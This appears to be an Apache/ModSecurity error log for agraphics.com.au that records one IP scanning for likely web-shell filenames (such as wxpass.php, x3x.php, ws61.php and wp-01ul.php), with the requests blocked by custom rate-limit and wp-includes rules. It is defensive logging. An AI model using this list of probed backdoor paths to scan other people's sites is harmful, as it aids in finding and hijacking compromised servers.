[Sat Apr 18 02:29:39.944197 2026] [:error] [pid 59042:tid 59047] [client 4.235.108.154:3643] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1100.php"] [unique_id "aeJ8E56p5oql0UklEBJlRAAAAAA"]
[Sat Apr 18 02:29:47.573286 2026] [:error] [pid 42442:tid 42465] [client 4.235.108.154:3665] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1100.php"] [unique_id "aeJ8Gz4PBGqL_yqPJ8lPGQAAARU"]
[Sat Apr 18 02:29:51.668282 2026] [:error] [pid 42442:tid 42452] [client 4.235.108.154:3690] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeJ8Hz4PBGqL_yqPJ8lPLQAAAQg"]
[Sat Apr 18 02:29:53.605145 2026] [:error] [pid 63702:tid 63754] [client 4.235.108.154:3932] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeJ8IcTL05PWYsKqTEYrRQAAAU0"]
[Sat Apr 18 02:30:01.289627 2026] [proxy_fcgi:error] [pid 63702:tid 63756] [client 4.235.108.154:3084] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:30:01.640392 2026] [proxy_fcgi:error] [pid 63702:tid 63749] [client 4.235.108.154:3084] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:30:01.902082 2026] [proxy_fcgi:error] [pid 63702:tid 63765] [client 4.235.108.154:3084] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:30:02.164534 2026] [proxy_fcgi:error] [pid 63702:tid 63739] [client 4.235.108.154:3084] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:30:02.674749 2026] [proxy_fcgi:error] [pid 63702:tid 63761] [client 4.235.108.154:3084] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:30:02.937453 2026] [proxy_fcgi:error] [pid 63702:tid 63744] [client 4.235.108.154:3084] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:30:03.205227 2026] [proxy_fcgi:error] [pid 63702:tid 63750] [client 4.235.108.154:3084] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:30:03.481726 2026] [proxy_fcgi:error] [pid 63702:tid 63751] [client 4.235.108.154:3084] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:30:03.743637 2026] [proxy_fcgi:error] [pid 63702:tid 63741] [client 4.235.108.154:3084] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:30:04.121901 2026] [proxy_fcgi:error] [pid 63702:tid 63755] [client 4.235.108.154:3084] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:30:04.383895 2026] [proxy_fcgi:error] [pid 63702:tid 63754] [client 4.235.108.154:3084] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:30:04.658709 2026] [:error] [pid 63702:tid 63746] [client 4.235.108.154:3084] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper.php"] [unique_id "aeJ8LMTL05PWYsKqTEYragAAAUc"]
[Sat Apr 18 02:30:06.062826 2026] [:error] [pid 59044:tid 59102] [client 4.235.108.154:3730] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper.php"] [unique_id "aeJ8LgFamkFyEtD_SMHO4QAAAIE"]
[Sat Apr 18 02:30:08.413461 2026] [:error] [pid 59044:tid 59115] [client 4.235.108.154:3094] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper.php"] [unique_id "aeJ8MAFamkFyEtD_SMHO5QAAAI4"]
[Sat Apr 18 02:30:25.540068 2026] [:error] [pid 42442:tid 42459] [client 4.235.108.154:3107] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wxpass.php"] [unique_id "aeJ8QT4PBGqL_yqPJ8lPowAAAQ8"]
[Sat Apr 18 02:30:32.357824 2026] [:error] [pid 59136:tid 59139] [client 4.235.108.154:59386] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wxpass.php"] [unique_id "aeJ8SCaoiUyiIR3EhLXOCQAAAMA"]
[Sat Apr 18 02:30:36.256172 2026] [:error] [pid 42442:tid 42448] [client 4.235.108.154:3642] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/000.php"] [unique_id "aeJ8TD4PBGqL_yqPJ8lP4gAAAQQ"]
[Sat Apr 18 02:30:36.941907 2026] [:error] [pid 42442:tid 42467] [client 4.235.108.154:3626] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/000.php"] [unique_id "aeJ8TD4PBGqL_yqPJ8lP5gAAARc"]
[Sat Apr 18 02:30:38.982135 2026] [:error] [pid 42442:tid 42457] [client 4.235.108.154:59377] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/000.php"] [unique_id "aeJ8Tj4PBGqL_yqPJ8lP8AAAAQ0"]
[Sat Apr 18 02:30:39.938198 2026] [:error] [pid 63702:tid 63739] [client 4.235.108.154:3482] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/000.php"] [unique_id "aeJ8T8TL05PWYsKqTEYr6QAAAUE"]
[Sat Apr 18 02:30:42.604000 2026] [:error] [pid 59136:tid 59143] [client 4.235.108.154:3588] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "aeJ8UiaoiUyiIR3EhLXOFgAAAMQ"]
[Sat Apr 18 02:30:48.491290 2026] [:error] [pid 42442:tid 42453] [client 4.235.108.154:3072] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "aeJ8WD4PBGqL_yqPJ8lQEAAAAQk"]
[Sat Apr 18 02:30:50.614024 2026] [:error] [pid 59042:tid 59068] [client 4.235.108.154:3098] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "aeJ8Wp6p5oql0UklEBJl1gAAABU"]
[Sat Apr 18 02:30:53.125751 2026] [:error] [pid 42442:tid 42445] [client 4.235.108.154:59367] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "aeJ8XT4PBGqL_yqPJ8lQMQAAAQE"]
[Sat Apr 18 02:30:55.746344 2026] [:error] [pid 63702:tid 63757] [client 4.235.108.154:3401] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x3x.php"] [unique_id "aeJ8X8TL05PWYsKqTEYr-AAAAVA"]
[Sat Apr 18 02:30:58.288028 2026] [:error] [pid 42442:tid 42463] [client 4.235.108.154:3076] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x3x.php"] [unique_id "aeJ8Yj4PBGqL_yqPJ8lQRAAAARM"]
[Sat Apr 18 02:31:03.964070 2026] [:error] [pid 59136:tid 59142] [client 4.235.108.154:3461] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x3x.php"] [unique_id "aeJ8ZyaoiUyiIR3EhLXOOwAAAMM"]
[Sat Apr 18 02:31:07.022019 2026] [proxy_fcgi:error] [pid 59043:tid 59085] [client 4.235.108.154:59342] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:31:07.299014 2026] [proxy_fcgi:error] [pid 59043:tid 59096] [client 4.235.108.154:59342] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:31:07.562636 2026] [proxy_fcgi:error] [pid 59043:tid 59077] [client 4.235.108.154:59342] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:31:07.835512 2026] [proxy_fcgi:error] [pid 59043:tid 59079] [client 4.235.108.154:59342] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:31:08.098426 2026] [proxy_fcgi:error] [pid 59043:tid 59082] [client 4.235.108.154:59342] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:31:08.366552 2026] [proxy_fcgi:error] [pid 59043:tid 59098] [client 4.235.108.154:59342] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:31:08.630091 2026] [proxy_fcgi:error] [pid 59043:tid 59076] [client 4.235.108.154:59342] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:31:08.905070 2026] [:error] [pid 59043:tid 59083] [client 4.235.108.154:59342] [client 4.235.108.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wincust.php"] [unique_id "aeJ8bIRtUGE9SfUh2wwhyQAAAEk"]
[Sat Apr 18 02:31:10.014366 2026] [proxy_fcgi:error] [pid 59042:tid 59064] [client 4.235.108.154:3639] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:31:10.276162 2026] [proxy_fcgi:error] [pid 59042:tid 59063] [client 4.235.108.154:3639] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:31:10.643166 2026] [proxy_fcgi:error] [pid 59042:tid 59051] [client 4.235.108.154:3639] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:31:10.905294 2026] [proxy_fcgi:error] [pid 59042:tid 59047] [client 4.235.108.154:3639] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:31:11.164837 2026] [:error] [pid 59042:tid 59048] [client 4.235.108.154:3639] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws61.php"] [unique_id "aeJ8b56p5oql0UklEBJmBgAAAAE"]
[Sat Apr 18 02:31:21.025889 2026] [:error] [pid 59042:tid 59048] [client 4.235.108.154:59349] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws61.php"] [unique_id "aeJ8eZ6p5oql0UklEBJmDAAAAAE"]
[Sat Apr 18 02:31:22.060090 2026] [:error] [pid 63702:tid 63758] [client 4.235.108.154:3096] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws61.php"] [unique_id "aeJ8esTL05PWYsKqTEYsLgAAAVE"]
[Sat Apr 18 02:31:23.093905 2026] [:error] [pid 59043:tid 59097] [client 4.235.108.154:3705] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws61.php"] [unique_id "aeJ8e4RtUGE9SfUh2wwh1AAAAFc"]
[Sat Apr 18 02:31:27.353449 2026] [:error] [pid 42442:tid 42445] [client 4.235.108.154:3953] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aeJ8fz4PBGqL_yqPJ8lQdwAAAQE"]
[Sat Apr 18 02:31:29.650632 2026] [:error] [pid 42442:tid 42458] [client 4.235.108.154:3115] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aeJ8gT4PBGqL_yqPJ8lQfQAAAQ4"]
[Sat Apr 18 02:31:32.160297 2026] [:error] [pid 59136:tid 59147] [client 4.235.108.154:59384] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aeJ8hCaoiUyiIR3EhLXOXwAAAMg"]
[Sat Apr 18 02:31:34.024118 2026] [:error] [pid 59044:tid 59112] [client 4.235.108.154:3100] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aeJ8hgFamkFyEtD_SMHPVgAAAIs"]
[Sat Apr 18 02:31:36.365196 2026] [:error] [pid 59044:tid 59111] [client 4.235.108.154:3101] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeJ8iAFamkFyEtD_SMHPWAAAAIo"]
[Sat Apr 18 02:31:39.719290 2026] [:error] [pid 42442:tid 42465] [client 4.235.108.154:3464] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeJ8iz4PBGqL_yqPJ8lQoAAAARU"]
[Sat Apr 18 02:31:40.742982 2026] [:error] [pid 42442:tid 42468] [client 4.235.108.154:3915] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeJ8jD4PBGqL_yqPJ8lQpQAAARg"]
[Sat Apr 18 02:31:42.137286 2026] [:error] [pid 59044:tid 59102] [client 4.235.108.154:3487] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeJ8jgFamkFyEtD_SMHPXQAAAIE"]
[Sat Apr 18 02:31:43.188993 2026] [:error] [pid 63702:tid 63737] [client 4.235.108.154:3092] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xynz.php"] [unique_id "aeJ8j8TL05PWYsKqTEYslgAAAUA"]
[Sat Apr 18 02:31:46.384719 2026] [:error] [pid 42442:tid 42445] [client 4.235.108.154:3621] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xynz.php"] [unique_id "aeJ8kj4PBGqL_yqPJ8lQywAAAQE"]
[Sat Apr 18 02:31:48.514002 2026] [:error] [pid 59044:tid 59114] [client 4.235.108.154:3510] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xynz.php"] [unique_id "aeJ8lAFamkFyEtD_SMHPcQAAAI0"]
[Sat Apr 18 02:31:50.752360 2026] [:error] [pid 59043:tid 59088] [client 4.235.108.154:3091] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xynz.php"] [unique_id "aeJ8loRtUGE9SfUh2wwh8QAAAE4"]
[Sat Apr 18 02:31:51.890871 2026] [:error] [pid 63702:tid 63755] [client 4.235.108.154:59356] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-01ul.php"] [unique_id "aeJ8l8TL05PWYsKqTEYsxQAAAU4"]
[Sat Apr 18 02:31:53.814967 2026] [:error] [pid 63702:tid 63756] [client 4.235.108.154:3963] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-01ul.php"] [unique_id "aeJ8mcTL05PWYsKqTEYs0AAAAU8"]
[Sat Apr 18 02:31:56.579859 2026] [:error] [pid 59042:tid 59053] [client 4.235.108.154:3938] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-01ul.php"] [unique_id "aeJ8nJ6p5oql0UklEBJmPgAAAAY"]
[Sat Apr 18 02:31:58.259684 2026] [:error] [pid 42442:tid 42444] [client 4.235.108.154:3108] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-01ul.php"] [unique_id "aeJ8nj4PBGqL_yqPJ8lRIwAAAQA"]
[Sat Apr 18 02:32:03.119639 2026] [:error] [pid 42442:tid 42462] [client 4.235.108.154:3640] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/e7.php"] [unique_id "aeJ8oz4PBGqL_yqPJ8lRRAAAARI"]
[Sat Apr 18 02:32:05.660007 2026] [:error] [pid 59044:tid 59106] [client 4.235.108.154:3080] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/e7.php"] [unique_id "aeJ8pQFamkFyEtD_SMHPjwAAAIU"]
[Sat Apr 18 02:32:07.363311 2026] [:error] [pid 59042:tid 59068] [client 4.235.108.154:3623] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/e7.php"] [unique_id "aeJ8p56p5oql0UklEBJmaAAAABU"]
[Sat Apr 18 02:32:09.441097 2026] [:error] [pid 63702:tid 63764] [client 4.235.108.154:3081] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/e7.php"] [unique_id "aeJ8qcTL05PWYsKqTEYs8QAAAVc"]
[Sat Apr 18 02:32:11.911475 2026] [proxy_fcgi:error] [pid 63702:tid 63741] [client 4.235.108.154:3614] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:32:12.186861 2026] [proxy_fcgi:error] [pid 63702:tid 63746] [client 4.235.108.154:3614] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:32:12.450145 2026] [proxy_fcgi:error] [pid 63702:tid 63750] [client 4.235.108.154:3614] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:32:12.726726 2026] [proxy_fcgi:error] [pid 63702:tid 63754] [client 4.235.108.154:3614] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:32:13.043143 2026] [proxy_fcgi:error] [pid 63702:tid 63765] [client 4.235.108.154:3614] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:32:13.305873 2026] [proxy_fcgi:error] [pid 63702:tid 63756] [client 4.235.108.154:3614] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:32:13.576217 2026] [proxy_fcgi:error] [pid 63702:tid 63751] [client 4.235.108.154:3614] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:32:13.839612 2026] [proxy_fcgi:error] [pid 63702:tid 63749] [client 4.235.108.154:3614] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:32:14.115293 2026] [proxy_fcgi:error] [pid 63702:tid 63760] [client 4.235.108.154:3614] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:32:14.392850 2026] [proxy_fcgi:error] [pid 63702:tid 63758] [client 4.235.108.154:3614] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:32:14.656810 2026] [proxy_fcgi:error] [pid 63702:tid 63761] [client 4.235.108.154:3614] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 02:32:14.916957 2026] [:error] [pid 63702:tid 63740] [client 4.235.108.154:3614] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeJ8rsTL05PWYsKqTEYtAgAAAUI"]
